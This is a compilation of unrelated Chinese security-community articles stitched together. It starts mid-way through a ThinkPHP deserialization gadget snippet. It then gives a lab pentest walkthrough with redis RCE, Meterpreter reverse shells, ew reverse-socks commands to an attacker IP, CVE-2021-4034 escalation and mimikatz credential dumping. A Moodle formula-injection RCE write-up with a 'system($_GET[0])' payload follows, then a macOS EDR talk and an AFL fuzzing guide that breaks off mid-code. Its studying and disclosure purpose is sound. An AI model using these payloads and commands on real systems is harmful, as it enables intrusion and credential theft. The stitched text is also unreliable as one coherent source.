use League\Flysystem\Cached\Storage\Adapter;
use League\Flysystem\Config;
class Local extends AbstractAdapter
{
public function has($path)
{
}
public function write($path, $contents, Config $config)
{
}
}
$a = new Local();
$b = new Adapter($a);
echo base64_encode(serialize($b));
之前复现过6.0x的thinkphp反序列化,后面三条链子并没有修,还是能够打通的,就没有写分析了这里主要是去复现了新的toString的Gadget,触发点还是有几个,这里没有写完,只要找到操作可控字符串的点就能触发
后三条链的具体的分析可以到<https://www.anquanke.com/post/id/258567这里去看>
参考链接
<https://xz.aliyun.com/t/9310>
<https://www.anquanke.com/post/id/258567> | 社区文章 |
**靶场网络环境拓扑图:**
**相关说明:**
DMZ区域：
给Ubuntu1配置了两个网卡，一个桥接可以对外提供服务；一个连接在VMnet8上连通第二层网络。
第二层网络区域：
给Ubuntu2和Windows7都配置了两个网卡，一个连接在VMnet8上连通第二层网络，一个连接在VMnet14上连通第三层网络。
第三次网络区域：
给Windows Server 2012和Windows7都只配置了一个网卡，一个连接在VMnet14上连通第三层网络。
**外网Web渗透:**
通过Kscan资产收集工具进行扫描
可见开放了nginx服务,ssh服务,redis服务
在测试发送redis是未授权的,利用方式如下:
redis写入Webshell
redis计划任务反弹shell(CentOS)
redis写入ssh公钥
redis主从复制RCE利用
这里选择进行redis主从复制RCE
工具地址:<https://github.com/n0b0dyCN/redis-rogue-server>
这样就获得了一个shell
接下来,我们反弹给MSF一个Meterpreter会话
MSF生成linux马,python开启HTTP服务
MSF设置监听,目标Ubuntu1运行马,获得会话
**提权:**
MSF上传提权辅助脚本
工具地址:<https://github.com/mzet-/linux-exploit-suggester>
检测出来后,这里使用CVE-2021-4034进行提权
成功获得root权限
MSF再生成一个linux马,去获得root用户的Meterpreter会话
**内网渗透(横向移动):**
存在两个网卡
MSF进行添加路由
再使用Fscan进行扫描第二块网卡的网段
192.168.52.30有个通达OA、还存在MS17-010
这里使用ew启一个反向socks5
攻击机设置:
ew_for_Win.exe -s rcsocks -l 1080 -e 1234
DMZ区ubuntu1：
ew_for_linux64 -s rssocks -d 192.168.137.49 -e 1234
配置Proxifier访问攻击机的1080端口来使用内网web服务器上面架设的socks代理服务了
查看通达OA版本：
使用通达OA综合利用工具进行检测
蚁剑进行连接Webshell
**内网域内信息收集:**
本机信息：
system权限
路由信息：
ipconfig /all 发现也是 52.0/24 93.0/24两个网段
并且存在域whoamianony.org
域控为192.168.93.30
查看域内主机名：当前是pc1
因为可以出网，所以直接执行命令上线了CS
使用mimikatz直接导出了域管和bunny域用户的密码：
所有域用户:
域管:
域控:
直接使用CS自带的端口扫描，用win7的beacon对93段进行探测：
192.168.93.30是域控
然后我们使用smb beacon进行psexec就可以了
这样就打完三层网络渗透 | 社区文章 |
# 超过 1.27 亿用户的开源教育系统 Moodle 远程代码执行漏洞详情
|
##### 译文声明
本文是翻译文章，文章原作者 Robin Peraglie，文章来源：blog.ripstech.com
原文地址：<https://blog.ripstech.com/2018/moodle-remote-code-execution/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
Moodle是一个广泛使用的开源电子学习软件，有超过1.27亿用户，允许教师和学生数字化管理课程活动和交换学习材料，通常由大学部署。本文我们将检查RIPsCodeAnalysis检测到的上一个Moodle版本中的关键漏洞的技术本质。它位于Moodle的Quiz组件中，可以通过教师角色成功地利用它来执行远程代码执行。如果你使用的是早于Moodle
3.5.0的版本，我们强烈建议立即更新到最新版本。
## 影响-谁能利用什么？
在使用默认配置运行的最新Moodle(早于3.5.0)课程中，必须为攻击者分配教师角色。通过另一个漏洞(如XSS)升级到此角色也是可能的。考虑到这些需求和漏洞的知识，攻击者将能够在运行Moodle的服务器的底层操作系统上执行任意命令。通过使用由Moodle计算的巧尽心思构建的数学公式，攻击者绕过了阻止执行恶意命令的内部安全机制。接下来我们将研究该漏洞的技术细节。
## Quiz组件中的数学公式
Moodle允许教师设置一个包含多种类型问题的测试。其中包括计算问题，允许教师输入一个数学公式，由Moodle对随机输入变量进行动态评估。这样可以防止学生作弊，并简单地分享他们的成绩。例如，教师可以键入什么是{x}添加到{y}？的答案公式是{x}+{y}。然后Moodle将生成两个随机数，并为问答文本中的占位符{x}和{y}插入它们(例如3.9+2.1)。最后，它将通过对公式输入调用对安全性敏感的PHP函数eval()来计算答案6.0，该函数以其被恶意利用的风险而闻名，因为它允许执行任意PHP代码。
question/type/calculated/questiontype.php
public function substitute_variables_and_eval($str, $dataset) {
// substitues {x} and {y} for numbers like 1.2 with str_replace():
$formula = $this->substitute_variables($str, $dataset);
if ($error = qtype_calculated_find_formula_errors($formula)) {
return $error; // formula security mechanism
}
$str=null;
eval('$str = '.$formula.';'); // dangerous eval()-call
return $str;
}
为了强制只使用无害的PHP代码，Moodle的开发人员引入了一个验证器函数
**qtype_calculated_find_formula_errors()**
，该函数在危险的eval()调用之前被调用，目的是检测教师提供的公式中的非法和恶意代码。
question/type/calculated/questiontype.php
function qtype_calculated_find_formula_errors($formula) {
// Returns false if everything is alright
// otherwise it constructs an error message.
// Strip away dataset names.
while (preg_match('~\{[[:alpha:]][^>} <{"']*\}~', $formula, $regs)){
$formula = str_replace($regs[0], '1', $formula);
}
// Strip away empty space and lowercase it.
$formula = strtolower(str_replace(' ', '', $formula));
$safeoperatorchar = '-+/*%>:^~<?=&|!'; /* */
$operatorornumber = "[{$safeoperatorchar}.0-9eE]";
// [...]
if (preg_match("~[^{$safeoperatorchar}.0-9eE]+~", $formula, $regs)) {
return get_string('illegalformulasyntax','qtype_calculated',$regs[0]);
} else {
// Formula just might be valid.
return false;
}
}
## 开发一个绕过方法
正如在上面的源代码中所看到的，在最后一个preg_match()调用非常严格，除了公式中的-+/*%：^<？=&lx！.0-9EE之外，不允许使用任何字符。但是，在嵌套在一个临时循环中的str_replace()将递归地替换公式中的所有占位符，类似于{x}中的占位符。相应的正则表达式表明，考虑到{system(Ls)}是一个有效的占位符，占位符名称在其字符集中几乎不受限制，并且也将被$formula
= str_replace($regs[0], ‘1’,
$formula)中的1替换。这存在一个风险，因为在函数返回False之前，它将隐藏所有潜在的恶意字符，使其不受保护的preg_match()调用的影响，从而指示一个有效的公式。使用此技术隐藏恶意代码并将其与嵌套占位符结合，会出现可利用的漏洞。[](https://p0.ssl.qhimg.com/t011920d7112d33a7f1.png)第一个恶意公式被验证器
**qtype_calculated_find_formula_errors()**
拒绝。如果我们将其作为占位符，并将其嵌入到花括号中(如第二个payload所示)，验证器将不会检测到我们的攻击，但Moodle将简单地将我们的占位符替换为一个随机数1.2，然后才能到达eval()。但是，如果我们引入另一个占位符并将其直接嵌套到我们已有的占位符中，Moodle将只替换内部占位符，而一个危险的占位符将到达eval()，如表的第三行所示。此时，我们的payload将抛出一个PHP语法错误，这是因为eval()的输入是无效的PHP代码。因此，我们只需更正PHP语法，通过使用PHP注释从PHP解析器中排除无效部分，就可以在第4行使用最终的有效公式，该公式最终允许通过GET参数0执行代码。
视频地址：<https://blog.ripstech.com/videos/moodle-passwd_CONV.mp4>
## 改进不足的补丁
在向Moodle报告了这个问题后，他们立即做出了回应，并提出了一个补丁，以迅速解决这个问题。然而，在使用RIP重新扫描应用程序之后，我们的SAST解决方案仍然检测到指向新引入的修补程序的绕过方法相同的漏洞。在检查了相关的源代码和扫描结果之后，我们能够更准确地绕过补丁程序，实现与以前相同的效果。这是可能的前三个提议的补丁，我会在下一小节解释每个绕过方法。
### 第一个补丁：黑名单
Moodle开发人员提出的第一个补丁是基于拒绝包含在利用payload中使用的PHP注释的公式的想法。正如您在代码中所看到的，修补程序在foreach循环前面加上了一个前缀，用于检查公式是否包含特定的字符串。
question/type/calculated/questiontype.php
function qtype_calculated_find_formula_errors($formula) {
foreach (['//', '/*', '#'] as $commentstart) {
if (strpos($formula, $commentstart) !== false) {
return get_string('illegalformulasyntax',
'qtype_calculated',
$commentstart);
}
}
这个补丁使我们当前的payload变得毫无用处，因为验证函数 **qtype_calculated_find_formula_errors()**
检测到启动PHP注释/、/*、#的字符串，这些字符串在我们当前的利用payload中使用。这个补丁实现了黑名单方法，并基于这样的假设：没有攻击者能够在不使用注释的情况下将上述表中行和列3的无效PHP语法更正为有效的PHP语法。但是还是不够，更复杂的payload仍然可以绕过。[](https://p5.ssl.qhimg.com/t012a3126ca2b83f73a.png)
### 第二个补丁：拒绝嵌套占位符
第二个补丁的想法是通过在检测占位符时删除“递归”来防止嵌套在我们的payload中使用的占位符。但是，使用RIPs重新扫描应用程序仍然报告了同样的漏洞，这使得我们更精确地查看了下面的新代码。
question/type/calculated/questiontype.php
public function find_dataset_names($text) {
// Returns the possible dataset names found in the text as an array.
// The array has the dataset name for both key and value.
if (preg_match_all('~\{([[:alpha:]][^>} <{"']*)\}~',$text,$regs)) {
$datasetnames = array_unique($regs[1]);
return array_combine($datasetnames, $datasetnames);
} else {
return [];
}
}
// [...]
function qtype_calculated_find_formula_errors($formula) {
$datasetnames = find_dataset_names($formula);
foreach ($datasetnames as $datasetname) {
$formula = str_replace('{'.$datasetname.'}', '1', $formula);
}
每当我们输入嵌套占位符{a{b}时，方法 **qtype_calculated_find_formula_errors()**
现在只将{b}替换为占位符，剩下的公式{A1}被检测为非法。但是，如果我们将公式更改为{b}{a1}{a{b}，那么函数find_dataset_names()恰好检测到并返回两个占位符{b}和{a1}。每个占位符在foreach循环中都被一个接着一个替换，从我们的{b}开始，剩下的公式是1{a1}{a1}。最后，在替换{A1}之后，公式等于111，验证器批准嵌套占位符，从而破坏此修补程序的意图。考虑到这一技巧，我们只需适当地调整最后的payload就可以获得与以前相同的效果：[](https://p4.ssl.qhimg.com/t018332f550ec1d1d26.png)
### 第三个补丁：黑名单和线性替换
第三个补丁结合了前两种方法，在防止嵌套占位符方面看起来非常好。但是，如果攻击者以Quiz组件的导入特性为目标，并重新导入恶意破坏的XML问题文件，则攻击者能够控制[substitute_variables()](https://blog.ripstech.com/2018/moodle-remote-code-execution/#substitute_variables)(请参阅此处)的$DataSet参数，并使占位符替换无效。
<quiz>
<question type="calculated">
[...]
<answer fraction="100">
<text>log(1){system($_GET[0])}</text>
</answer>
</question>
<dataset_definitions>
<dataset_definition>
<name><text>x</text></name>
</dataset_definition>
</dataset_definitions>
</quiz>
<name><text>x</text></name>定义了占位符{x}的名称。这个占位符在<text>log(1){system($_GET[0])}</text>公式中从未使用过。这将使危险占位符{system($_get[0])}的替换无效，并导致与以前的补丁相同的代码注入漏洞。
### 第四个补丁
不幸的是，由于时间限制，我们无法完全验证第四个补丁的完整性。如果有变化我们将更新这篇博客文章，当然会事先通知开发人员。
## 时间线
* 2018.5.01 与供应商的第一次接触不足补丁#1拟议
* 2018.5.01 补丁#1提议
* 2018.5.02 报告绕过方法#1并确认
* 2018.5.07 补丁#2提议
* 2018.5.08 报告绕过方法#2并确认
* 2018.5.12 补丁#3提议
* 2018.5.15 报告绕过方法#3并确认
* 2018.5.16 补丁#4提议
* 2018.5.17 发布最终补丁
## 总结
在这篇文章中，我们研究了Moodle中的一个关键漏洞。Moodle通常被集成到更大的系统中，加入WebMailer、eLearning平台和其他技术，形成一个具有共享帐户凭据的单一体系结构，该体系结构跨越一个巨大的攻击面，供未经身份验证的攻击者钓鱼或提取教师帐户的凭据。在某些情况下，有一种自动请求Moodle课程的服务，它可以利用学生的权利，使他能够执行自己选择的恶意软件，并在他参加的大学课程中给自己评分。
在自动安全分析的帮助下，在10分钟内，不仅报告漏洞本身，而且报告补丁的不足，可以节省很多时间。我们要感谢Moodle团队在修补这个问题上的快速反应和合作。我们建议更新到最新的Moodle版本。 | 社区文章 |
# 安全研究视角看macOS平台EDR安全能力建设
##### 译文声明
本文是翻译文章，文章原作者 软件安全与逆向分析，文章来源：软件安全与逆向分析
原文地址：<https://mp.weixin.qq.com/s/A5F9TDIGYOX-VUGKCbEa_w>
译文仅供参考，具体内容表达以及含义原文为准。
10多年前，终端安全曾被认为是“安全最后一公里”，经过16年的演绎，这个话题技术已经延展成为成熟型企业的必然选择。经过16年的演绎，这个话题技术延展成为成熟型企业必然要选择的。
然而针对macOS平台产品化思路在国内大会上讨论比较少，本次峰会上丰生强（非虫）带领大家打开macOS平台安全产品的安全思路，并从安全研究与Agent实现的视角，讲解了macOS平台的EDR安全能力建设。
## 演讲具体内容
以下为速记全文：
我们首先介绍一下什么是EDR、EDR是为了解决什么问题而产生的、EDR系统架构、macOS平台上系统安全机制、系统自带的安全限制，了解这些安全机制之后非常有利于我们在macOS平台上进行安全开发。
后面会介绍macOS终端上的agent实现技术方案，以及开发调试需要注意的点。
关于我，我从事安全有10多年，在2013年、2016年以及2019年这三个时间点出版三本软件安全相关的书籍，目前我就职于奇安信情报中心，它的前身是360情报中心，现在由于与360企业在公司数据与业务层面的分离原因，现在更名为奇安信威胁情报中心。
奇安信是国内非常专业的研究网络威胁情报的一个团队。大家可以关注我们团队的公众号【奇安信威胁情报中心】，每周会定时输出一些高质量的威胁分析与APT溯源相关的高级话题。
## EDR概述
首先是安全产品，从最初的网络安全需求发展到现在，安全产品的种类已经非常多。大家看一下常见的安全产品有哪些，在早年对于业务安全需求比较多的情况下是WAF这个产品，它突出表现在对业务的API防护，比如说像常见的防注入、入侵检测。
这是主机安全上的IDS和IPS，IDS和IPS是目前讨论得比较多的一个安全产品，因为无论大小企业，都会用到这款产品。HIDS和NIPS最主要的区别是是否在主机端部署agent，agent是用来收集主机上的日志信息，用来后期的数据关联、数据分析。
早年的网络安全需求发展到现在，已经变成了非常大的网络安全市场，EDR也是一个转变的产品、是一个复合型的产品，它在终端上会分为终端的检测与响应，或者基于云安全平台的CWPP这个产品。
在奇安信这边，目前它的EDR产品有天擎EDR，主要方向是终端这一块。ATP产品是在国内比较知名的应该是微软提出的ATP产品，它被用来检测一些高级威胁。
大家看看这个安全能力象限，在企业安全建设过程中，安全能力体现产品开发思路以及产品在企业安全中扮演的角色，安全能力象限-检测、防护、预测、响应，这四个点代替了企业当中经常遇到的网络安全问题。
拿检测来说，检测恶意流量、攻击行为是IDS和SSP安全感知平台这些产品的功能需求，防护产品就是常见的杀软、WAF、防火墙这些产品，带NG这些产品名称是它是下一代的安全产品。
在预测方面，大数据的态势感知和威胁情报的平台可以对威胁进行预测，最后是响应中心。响应一般需要对安全数据进行运维，所以它需要一个安全运维平台和安全日志管理系统。
我们看看EDR的定义，EDR是2013年由Gartner提出的一个概念，它的早期只是一个概念，后面是以EDR的形式出现。EDR强调的是一种能力，我们刚才前面看到的安全象限，在EDR的能力中都会有所体现，它强调的是一种能力，而不仅仅是个工具。
EDR如何工作？它通过在主机端上部署agent，然后由agent采集数据，然后对大量数据进行分类、进行处理，然后对事件进行定义的这样一个过程。
## EDR架构
这是国内比较知名的深信服公司，提出基于业务层面的一个架构图，它把EDR的架构分成了三部分：最底下是基础平台，主机代理agent是用于部署在客户主机上的，恶意文件分析引擎和web控制台和SOC进行联动。
核心引擎部分，常见的行为引擎是通过对一些规则的静态或动态分析，以及机器学习的算法，然后配合威胁情报以及一些大数据的处理、CEP等引擎。对所有采集到的数据进行处理；功能展现部分，是最终展示给用户或者管理人员的展示台。
我们今天重点讨论的点是主机代理在功能展现上的技术点该如何实现。
## macOS平台上系统安全机制
我们看看苹果系统的架构，再讲讲它的安全机制，最后讨论它的安全机制。这张图是将苹果系统以组件形式划分为五类，从上到下是应用程序、媒体、核心服务、核心系统和内核这五层。我们重点关注的是第三层的安全层，以及内核这部分。
苹果系统有哪些机制？它在coreServices这个框架中提供了用户认证和代码签名的功能，在内核BSD提供了代码审计以及内核的授权认证。
在mach层提供MACF强制访问控制这个框架，这个框架是苹果非常重要的核心组件，它承载了苹果系统绝大多数的安全检测用途，我们在后面会重点讨论MACF。
最后是内核当中的网络编程NKE网络内核扩展，网络内核扩展是苹果系统提供类似Windows系统内核过滤驱动的组件，可用于对所有苹果电脑的网络流量进行监控、过滤以及修改。
## macOS系统安全限制
基于这些安全组件，系统提供了一些安全限制。这些安全限制是苹果从用户态软件产品或者软件组件中给大家展示出的苹果的安全特性。
这个Authd的作用是当系统中低权限组件向高权限组件访问申请资源时，它会弹出授权用户的权限申请的对话框，这个对话框在底层是通过XPC向Authd申请这个权限。
这里有一个syspolicyd守护进程，它的作用是当所有应用程序启动安装时，它会用于管理这些用户执行的程序，对其实施一些系统的安全策略，它主要是实现了对gatekeeper以及用户授权的内核扩展的加载、以及APP的公正这三大块对底层的支持。
我们看一下gatekeeper，当新安装的软件从网络上下载后，它会经过gatekeeper向用户展示对话框，展示对话框中提供了APP下载的时间点以及下载的途径，只要用户点击“确定”之后才可以继续打开这个APP。它的实现在底层依赖于gatekeeper机制。
Gatekeeper在底层有quarantine机制，当你从网络上下载APP，这个APP会自带扩展属性，这个扩展属性是由quarantine守护进程来向应用程序写入，写入这个进程会在这当中有一个数据库来保存所有的quarantine，quarantine内核层面是通过内核扩展，然后使用这个框架获可常见的接口。
在syspolicyd这一块将所有的gatekeeper信息写入用户态的一个数据库中。
APP
Translocation这个功能是强调在APP进行转移、移动复制这种场景下才会出现的。首先，当一个APP下载完后，它是带有Quarantine属性的，会对gatekeeper进行检测，但这时并不会触发APP
Translocation。
APP
Translocation是在10.12里引入的新特性，当一个APP通过U盘传到另外一台电脑上时，如果它带了Quarantine属性，它就有可能触发APP
Translocation,U盘中直接执行微信程序会弹出一个框，这个框弹出之后我们可以看一下这个APP加载路径是这么一个随机受限制的目录，这就保证了通过U盘这些可移动的媒介去运行这个程序时不会对系统造成破坏。
用户授权的内核扩展是在10.13时引入的一个新特性，这个安全特性的作用是，当新安装的应用程序带着内核扩展，就我们熟悉的内核驱动，这么一个功能在早先的操作系统中是不需要确认就可以直接加载的，但是到了10.13时必须手动在设计页面点击“允许加载”它才会去加载，否则默认是不会被加载的。
在10.13的操作系统中实现这个功能是通过这个类，标红的这几个方法是用于检测加载时的信息，以及用户是否点击了“确认”，所有这些操作完的信息都会最终保存在SystemPolicy这个数据库，这个操作是由syspolicyd守护进程完成的。
这是APP公正，这个功能是在macOS
10.14.5引入，2019年4月7日后，所有开发者签发的APP都必须要加入APP公正这个过程，APP公正是开发者手动向苹果公司提出申请，由苹果公司对这个APP进行审核的过程。在底层这些所有的信息会写入一个数据库当中。
Rootless又称之为SIP，系统管理性防护这个功能，是防止用户获取最高权限的情况下对系统文件进行篡改的这么一个功能。即使在开启了SIP权限下，即使你拥有最高权限，也不能对苹果系统核心受保护的文件进行修改。
Rootless是从10.11引入的功能，所有受SIP防护的文件或目录，会有一个受限制的属性。
SIP是基于文件目录对软件进行防护的，比如说在调试过程中，开启SIP的情况下，对系统的应用程序，比如计算器是无法调试的，但是可以将计算器这个APP复制到不受限制的目录下，然后对它进行调试。
它的底层是由一个内核扩展来实现的，这个内核扩展的底层也是使用AMFI这个框架，挂了MACF的几个常见的回调函数。
我们看看这个沙盒sandbox，同样是在10.11有的功能，可能更早。沙盒是依赖于底层和用户态的这种自定义沙盒语言对系统进行防护的，可以在系统的/Library/Sandbox/Profiles/目录下找到所有和沙盒相关的文件，这些文件是由系统维护升级，用户是没办法进行修改的。沙盒是由sandbox.kext扩展，底层也是Hook了MACF的一些回调实现的。
这是XProtect，是苹果内置的一款可以理解为“杀软”的工具，它的工具实现依赖于一个签名文件，这个文件的路径是在/System/Library/CoreServices/CoreTypes.bundle下面，所有的签名会动态更新。
MRT是苹果到目前为止还在更新的一款软件删除工具，这款工具和XProtect一样类似于“杀软”，MRT是一个二进制，在底层当中没有用签名文件机制，所有的签名是内置在二进制当中。
我们可以手动的去运行这个MRT程序，让它以守护进程的形式去启动。前一段时间火热的苹果系统上的zoom软件出现漏洞，苹果后台推送了更新，静默的删除了其web
server，其底层用到的工具就是MRT，采用了比较激进的方式处理了电脑上的恶意／漏洞软件。
终端安全模块是苹果在10.14.5
Catalina里面引入的一个新功能，终端安全模块的用途是为了代替苹果公司早年使用的内核扩展，可能在以后的发展过程中，苹果的内核扩展会被限制或者会被移除，而采用用户态的终端安全模块给安全开发者提供接口。目前它是测试状态，可以看到少量的数据结构。
## macOS终端agent技术实现方案
终端安全实现的细节分成四部分：第一部分是事件部分，事件是所有数据的基础，event事件代表了每一个API发生时一条数据、一条日志信息。
Incident是一组事件的集合，所有事件加在一块就形成了一个incident。我们看如何去对这些事件进行管理。这是安全架构上，主要讨论自身安全以及对系统加固如何适时。然后是攻击检测和安全防护。
1、事件部分，首先是事件与事件的响应，数据源从哪里来？怎样采集数据源？如何处理这些数据？
2、数据源就是我们要采集系统中哪些数据，哪些数据需要受到我们的监管。这里列出了5张图是开源工具获取的数据，由Facebook开发的一款工具，它对苹果操作系统当中的数据进行了归类，我展示了它的进程、网络、登陆用户以及进程打开文件这5个部分，这只是数据当中很小的一部分。
比较权威的数据源是MITRE这个组织在官网上公开的企业安全的攻击向量，从攻击者视角向开发者提供数据源，非常详细、专业的一份数据源。
3、数据采集。我们采用哪种方式去采集数据？一是是系统调用表的hook，这是比较传统、使用比较多的一种方案，在Windows以及Linux系统上比较常见，在苹果系统上同样有系统调用表这个数据结构。
这个数据结构可以在内核当中通过查找内核当中的前三个系统调用去判断这个是不是sysent这块表，对表里的系统调用指针替换可以达到Hook系统调用表的后果。
二是审计部分早先是实现一个开源技术方案，后来苹果公司也采用了这种方式，这种审计的方式有一个好处是在内核当中、在这个文件中对每条指令都插入了这两条指令。通过用户态praudit访问管道设备可以抓取系统中每条系统调用的日志信息。
三是kauth机制，这个机制是由10.4系统引入的，它和MACF一样提供了回调注册接口，开发人员可以编写一些回调函数，对系统发生的事件进行监控。Kauth分为四部分：常规、进程、VNODE、文件操作，但是kauth提供的接口比较少，在现实当中。
开发人员更倾向于使用MACF框架，它的上层是一串以mac_开头的一组调用的封装，所有资源访问的系统调用都会经过一组预先注册好的回调函数进行预检。可以向系统当中注册一个、一组甚至多个回调。它的底层有一个结构体。当前操作系统中支持所有的回调类型非常详细。
## 安全加固/防护
对操作系统的打补丁、软件补丁、内核加固、自我防护、风险扫描。
1、系统打补丁。苹果公司自带的这个命令可以用来底层静默发现并且更新操作系统的功能，这个功能可以通过APP store手动去点击。
2、软件补丁。APP store或者第三方的mas可以检测这个系统当中安装软件的版本信息。
3、内核加固。当我们发现比较常见的内核漏洞，这些内核漏洞还来不及被苹果公司去打补丁，或者用户没有去升级操作系统的情况下，引入内核加固这个功能非常必要。内核加固可以针对常见的内核漏洞，自己去做一个内核的patch。
4、自我防护。Agent安装在用户主机上之后，首先需要一个自我防护的功能，才能保证稳定的去采集系统上的数据。
我提出两种防护方式，一种是由系统自带的launch daemons和launch
agents，前者是守护进程，后者是代理程序，它们都会在电脑启动过程中去启动，类似于Windows平台的自启动技术。前面的launch
daemons以入口身份运行的，而launc agents是以用户态的方式运行。
如果keepalive加上设置为true的情况下，这个组件会常驻系统当中，即使用户去关闭这个进程，它的父进程也就是1号进程launchd会对它重启。我们看一下天擎的APP在启动时会有两个进程，launch
daemons和launch agents，它们之间可以通过XPC进行通信。
第二种方案是信号，关闭一个程序时会向程序发出信号，我们可以在MACF中注册这个信号检测，在信号里对它进行屏蔽检测，就可以实现内核态的防护功能。
5、风险配置扫描。类似于杀软的首次启动对系统的预检，它需要我们预先配置好，这里有一个开源的方案，这个工具是Linux上比较常用的一款风险配置扫描工具，它在macOS上也是同样支持的。
## 攻击检测
当所有数据采集到以后，经过引擎处理需要实现攻击检测功能。常见攻击检测有以下攻击种类。
1、勒索攻击。对系统磁盘中的文件进行大量读写操作以及进程启动执行的操作，我们可以重点关注这两个事件。
2、挖矿攻击。
3、信息窃取。对用户敏感资源访问以及网络数据中是否有网络数据这么一个规则去检测。
4、权限提升。首先是有进程执行这个动作，它可以是进程的命令执行，执行的过程中我们可以去检查进程的信息，查看它的信息权限是否被提升。
我们重点讲一下安全防护，我这里所有安全防护的功能是采用MACF的方式去实现。
1、文件读写是重点关注vnode的API，vonode类似于Linux的inode，是文件系统对文件抽象的一个数据类型，可以对常见的write、unlink等进行挂钩，检测文件读写信息。
2、文件执行管理。首先是一个进程启动fork，通常一个应用执行是fork和exec两部分组成。可以在fork时检测应用程序启动过程中的证书信息、签名信息以及teamID信息。
启动的第二个阶段我们可以去检测它的权限信息，包括权限、父进程、参数信息。另外一种管理文件执行的方案是挂钩这个函数接口，是应用程序执行后会调用的一个API，我们可以在内核当中获取这个API，对它进行hook操作，同样也是可以实行文件执行管理的功能。
3、网络访问管理。可以通过这一系列API，socket创建、设置socket属性的这么一个API，或者使用NKE的一个接口。NKE需要传入一个信息，这个信息可以包含它的协议，包括TCP、UDP甚至ITV6这些信息。
4、进程管理。进程信息由一组proc_check开头的信息，我们可以挂钩这些接口去实现进程的管理。
5、系统调用审计。系统调用审计可以看一下一个进程执行过程中所有的流程，它最终是调用了这个调用，在底层10.15里引入了这个接口，可以完全对所有的syscall的调用审计。
6、终端隔离。终端隔离主要分为网络访问阻断和进程启动阻断，这两个机制可以通过前面介绍的方式对它进行管控。
7、资产报备。EDR会对用户的信息进行统计。
## 开发调试与注意事项
我们看一下是如何获取内核符号的地址，以及如何去查找内核符号，这是两种方式，一种方式是去从内核启动循序渐进一页页去查找，另一种方式是调用一个函数去进行unslide操作。
模块调试部分也需要对MACF接口进行大量调试，从10.12之后MACF变成了私有框架，苹果不鼓励使用这个框架，如果我们还需要使用这个框架，需要关注每一次系统升级之后接口的变化，我们需要做大量测试，包括对不同版本的操作系统做一个快照，然后进行自动化的措施。
完整PPT下载：
链接: https://pan.baidu.com/s/1wOCAnqzkLMZcZz0eM2vy7Q
提取码: 4vns | 社区文章 |
#### Problem
因为个人偏爱AFL，习惯用AFL做模糊测试，发现一些CVE，但是一直苦于AFL的工作方式，由于AFL只能够从stdin/file获取输入，变异。
而网络应用多是`socket`或者其他network相关的通信方式，而且默认情况下，afl每次都会重新启动程序，网络应用如server启动时间比较久，影响了模糊测试的效率。一般情况下，可以通过为特定的程序编写一个`harness`，用于fuzz程序的部分代码。但是这种方式首先需要你对源码有一定的理解，其次它的覆盖率比较低。
在网上学习发现这篇文章[how-fuzz-server-american-fuzzy-lop](https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop)，方法与思维都很有学习应用的价值，翻译&应用后记录此文。
#### Solution: Persistent mode
AFL的工作模式与模糊测试的主循环一致：创建新的进程，提供一个case，然后监视直到进程结束，再重复...
为了避免`execve`的开销和链接等时间消耗，AFL引入了`forkserver`机制，新的进程`fork`得到，由于`copy-on-write`机制，提高了性能。
但即使如此，每次新的fuzz的不同case输入仍然会引入`fork`的开销。
对于很多测试目标，连续的`fork`和`initalization`的过程是一个代价较高的过程。在很多情况下，API是没有状态的，或者可以被重置为接近原始状态的，因此至少在一次进程结束后可以不用抛弃该进程。这就是
**进程内模糊测试** 的概念：在该方案下，测试用例是进程内部生成，并以自定义编写单进程循环的形式反馈到待测试的底层API。 **进程内模糊测试**
能够提高模糊测试效率在10x左右，但是也是有代价的：例如，它很容易由于测试代码中存在的内存泄漏或者Dos而失败。
自afl-1.81b始，afl-fuzz提供了一种`persistent`模式——将 **进程内模糊测试** 与更传统的多进程工具的强大功能结合起来。
在该模式下，afl将测试用例喂给一个单独的、存活时间长的进程，该进程读取输入，将其传递给待fuzz的API，并通过终止本进程通知fuzzer测试成功运行。最终当父进程恢复时，自定义的进程循环回到起点。只需要写一个极简的`harness`完成这样一个循环，AFL会完成细节，如crash检查。
一个简单的`harness`样例
int main(int argc, char** argv) {
while (__AFL_LOOP(1000)) {
/* Reset state. */
memset(buf, 0, 100);
/* Read input data. */
read(0, buf, 100);
/* Parse it in some vulnerable way. You'd normally call a library here. */
if (buf[0] != 'p') puts("error 1"); else
if (buf[1] != 'w') puts("error 2"); else
if (buf[2] != 'n') puts("error 3"); else
abort();
}
}
`Persisten`模式只需要控制以下两点
1、AFL何时fork目标进程
2、AFL何时提供新的测试样例。
3、每一轮循环开始需要重置目标进程状态，否则找到的bug可能是`harness`的而不是目标程序的。
#### Persisten mode & server
大部分server实现时都会在处理client的请求后重置状态，通常，一个server的实现如下
while(go):
req = get_request()
process(req)
为了使用AFL `persistent`模式，只需要如下修改程序
while(go):
put_request(read(file)) //AFL
req = get_request()
process(req)
notify_fuzzer() // AFL
#### Applying the tachnique in Knot DNS
##### Analyze
Knot DNS使用sockets通信，其中处理udp数据包的代码在`src/knot/server/udp-handler.c`中
主要函数`udp_master`中有一个循环，等待socket事件，接收并处理udp数据包，是一个合适的fuzz点。
int udp_master(dthread_t *thread)
{
if (thread == NULL || thread->data == NULL) {
return KNOT_EINVAL;
}
iohandler_t *handler = (iohandler_t *)thread->data;
int thread_id = handler->thread_id[dt_get_id(thread)];
if (handler->server->n_ifaces == 0) {
return KNOT_EOK;
}
/* Set thread affinity to CPU core (same for UDP and XDP). */
unsigned cpu = dt_online_cpus();
if (cpu > 1) {
unsigned cpu_mask = (dt_get_id(thread) % cpu);
dt_setaffinity(thread, &cpu_mask, 1);
}
/* Choose processing API. */
udp_api_t *api = NULL;
if (is_xdp_thread(handler->server->ifaces, thread_id)) {
#ifdef ENABLE_XDP
api = &xdp_recvmmsg_api;
#else
assert(0);
#endif
} else {
#ifdef ENABLE_RECVMMSG
api = &udp_recvmmsg_api;
#else
api = &udp_recvfrom_api;
#endif
}
void *rq = api->udp_init();
/* Create big enough memory cushion. */
knot_mm_t mm;
mm_ctx_mempool(&mm, 16 * MM_DEFAULT_BLKSIZE);
/* Create UDP answering context. */
udp_context_t udp = {
.server = handler->server,
.thread_id = thread_id,
};
knot_layer_init(&udp.layer, &mm, process_query_layer());
/* Allocate descriptors for the configured interfaces. */
void *xdp_socket = NULL;
size_t nifs = handler->server->n_ifaces;
fdset_t fds;
if (fdset_init(&fds, nifs) != KNOT_EOK) {
goto finish;
}
unsigned nfds = udp_set_ifaces(handler->server->ifaces, nifs, &fds,
thread_id, &xdp_socket);
if (nfds == 0) {
goto finish;
